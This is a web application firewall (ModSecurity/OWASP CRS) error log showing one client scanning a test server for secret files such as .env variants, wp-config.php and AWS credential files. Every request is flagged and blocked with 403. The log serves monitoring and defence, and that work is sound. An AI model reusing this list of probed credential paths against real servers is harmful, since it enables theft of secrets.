[Sun Mar 22 01:06:06.831680 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBTgAAAAI&quot;]
[Sun Mar 22 01:06:06.877585 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUAAAAAI&quot;]
[Sun Mar 22 01:06:06.877784 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUAAAAAI&quot;]
[Sun Mar 22 01:06:06.877923 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUAAAAAI&quot;]
[Sun Mar 22 01:06:06.922500 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUgAAAAI&quot;]
[Sun Mar 22 01:06:06.922698 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUgAAAAI&quot;]
[Sun Mar 22 01:06:06.922842 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBUgAAAAI&quot;]
[Sun Mar 22 01:06:06.967579 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBVAAAAAI&quot;]
[Sun Mar 22 01:06:06.967777 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBVAAAAAI&quot;]
[Sun Mar 22 01:06:06.967948 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBVAAAAAI&quot;]
[Sun Mar 22 01:06:07.057784 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWAAAAAI&quot;]
[Sun Mar 22 01:06:07.058000 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWAAAAAI&quot;]
[Sun Mar 22 01:06:07.058148 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWAAAAAI&quot;]
[Sun Mar 22 01:06:07.080154 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWQAAAAI&quot;]
[Sun Mar 22 01:06:07.080358 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWQAAAAI&quot;]
[Sun Mar 22 01:06:07.080497 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWQAAAAI&quot;]
[Sun Mar 22 01:06:07.102755 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWgAAAAI&quot;]
[Sun Mar 22 01:06:07.102992 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWgAAAAI&quot;]
[Sun Mar 22 01:06:07.103143 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBWgAAAAI&quot;]
[Sun Mar 22 01:06:07.621616 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBcQAAAAI&quot;]
[Sun Mar 22 01:06:07.621827 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBcQAAAAI&quot;]
[Sun Mar 22 01:06:07.621948 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBcQAAAAI&quot;]
[Sun Mar 22 01:06:07.688789 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdAAAAAI&quot;]
[Sun Mar 22 01:06:07.688987 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdAAAAAI&quot;]
[Sun Mar 22 01:06:07.689112 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdAAAAAI&quot;]
[Sun Mar 22 01:06:07.711139 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdQAAAAI&quot;]
[Sun Mar 22 01:06:07.711335 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdQAAAAI&quot;]
[Sun Mar 22 01:06:07.711457 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBdQAAAAI&quot;]
[Sun Mar 22 01:06:07.778248 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/ubuntu/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/ubuntu/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeAAAAAI&quot;]
[Sun Mar 22 01:06:07.778474 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/ubuntu/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeAAAAAI&quot;]
[Sun Mar 22 01:06:07.778607 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/ubuntu/.env&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeAAAAAI&quot;]
[Sun Mar 22 01:06:07.800570 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeQAAAAI&quot;]
[Sun Mar 22 01:06:07.800768 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;ab8yb1JYD4HbtTsiw8QBeQAAAAI&quot;]
